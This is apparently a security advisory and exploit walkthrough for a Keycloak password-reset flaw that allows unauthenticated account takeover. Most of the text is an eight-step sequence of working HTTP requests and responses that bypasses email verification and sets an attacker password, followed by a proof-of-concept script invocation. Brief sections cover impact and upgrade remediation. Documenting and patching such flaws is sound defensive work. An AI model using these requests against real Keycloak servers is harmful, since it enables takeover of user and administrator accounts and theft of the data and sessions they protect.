CVE-2026-18963: Keycloak Unauthenticated Account Takeover

Critical authentication bypass in Red Hat Keycloak password reset flow

Summary

CVE-2026-18963 allows an unauthenticated attacker to take over any Keycloak user account by bypassing email verification in the password reset flow.

Field Value
CVE ID CVE-2026-18963
Product Red Hat Keycloak
Vulnerable Versions 26.0.0 - 26.4.14, 26.6.0 - 26.6.5, 26.7.0 - 26.7.1
Patched Versions 26.4.15, 26.6.6, 26.7.2, 26.8.0+
Severity Critical (CVSS 9.8)
Attack Complexity Low
Authentication None

Vulnerability Details

The vulnerability exists in Keycloak’s credential reset flow. Two bugs work together to bypass email verification:

Bug 1: Selector Note Persistence

When a user submits tryAnotherWay=on parameter, Keycloak sets a “selector note” flag in the authentication session. This flag persists across requests and changes how subsequent reset-credentials requests are handled.

Bug 2: Stale Session State

After submitting a victim’s username (which triggers an email), revisiting the forgot-password URL returns a stale credential selector form. The victim’s username remains bound to the attacker’s session, and the selector note from Bug 1 causes Keycloak to skip email verification when this form is resubmitted.

Affected Endpoints

  • /auth/realms/{realm}/login-actions/reset-credentials
  • /auth/realms/{realm}/login-actions/required-action
  • /auth/realms/{realm}/protocol/openid-connect/auth

Exploitation

Prerequisites

  • Target Keycloak instance running vulnerable version
  • Knowledge of victim’s username or email address
  • Network access to the Keycloak server

Step 1: Detect Version

Verify the target is vulnerable by checking the realm configuration:

GET /auth/realms/{realm} HTTP/2
Host: keycloak.target.com

Realm Configuration

Step 2: Establish Session

Initialize an OIDC authentication flow to obtain session cookies:

GET /auth/realms/{realm}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid HTTP/2
Host: keycloak.target.com

The server sets AUTH_SESSION_ID, KC_AUTH_SESSION_HASH, and KC_RESTART cookies.

Session Established

Step 3: Access Reset Form

Navigate to the password reset form:

GET /auth/realms/{realm}/login-actions/reset-credentials?client_id=account&tab_id=xxx HTTP/2
Host: keycloak.target.com
Cookie: AUTH_SESSION_ID=...; KC_RESTART=...

Reset Form

Step 4: Trigger Bug 1

Submit tryAnotherWay=on to set the selector note:

POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded

tryAnotherWay=on

Selector Note Set

Step 5: Bind Victim Username

Submit the victim’s email address:

POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded

username=victim@example.com

Keycloak sends a password reset email to the victim. Normally, the attacker would need access to this email.

Email Triggered

Step 6: Trigger Bug 2

Instead of waiting for the email, revisit the forgot-password URL:

GET /auth/realms/{realm}/login-actions/reset-credentials?client_id=account&tab_id=xxx HTTP/2
Host: keycloak.target.com
Cookie: AUTH_SESSION_ID=...; KC_RESTART=...

Due to Bug 2, Keycloak returns a stale credential selector with the victim’s username still bound.

Stale Selector

Step 7: Execute Bypass

Resubmit the victim’s username to the stale form:

POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded

username=victim@example.com

Critical Response: HTTP 302 redirect to UPDATE_PASSWORD action - email verification bypassed!

HTTP/2 302 Found
Location: /auth/realms/{realm}/login-actions/required-action?execution=UPDATE_PASSWORD

Bypass Successful

Step 8: Set New Password

Submit the new password:

POST /auth/realms/{realm}/login-actions/required-action?execution=UPDATE_PASSWORD HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded

password-new=AttackerPassword123!&password-confirm=AttackerPassword123!

Password Form

The server responds with a redirect and sets authenticated session cookies:

HTTP/2 302 Found
Location: /auth/realms/{realm}/account/
Set-Cookie: KEYCLOAK_IDENTITY=...
Set-Cookie: KEYCLOAK_SESSION=...

Account Takeover Complete

Result: Full account takeover without email access.

Impact

An unauthenticated attacker can:

  • Reset any user’s password without email verification
  • Take over any account including administrators
  • Access all applications protected by Keycloak
  • Steal sensitive data and sessions

Attack Requirements:

  • Only the victim’s username or email address
  • No authentication needed
  • No user interaction required

Remediation

Upgrade Keycloak immediately to:

  • 26.4.15+ (for 26.4.x)
  • 26.6.6+ (for 26.6.x)
  • 26.7.2+ (for 26.7.x)
  • 26.8.0+ (latest)

Proof of Concept

python3 exploit.py \
    --url https://keycloak.target.com \
    --realm master \
    --username victim@example.com \
    --new-password "Pwned1337!"

References


For authorized security testing and educational purposes only.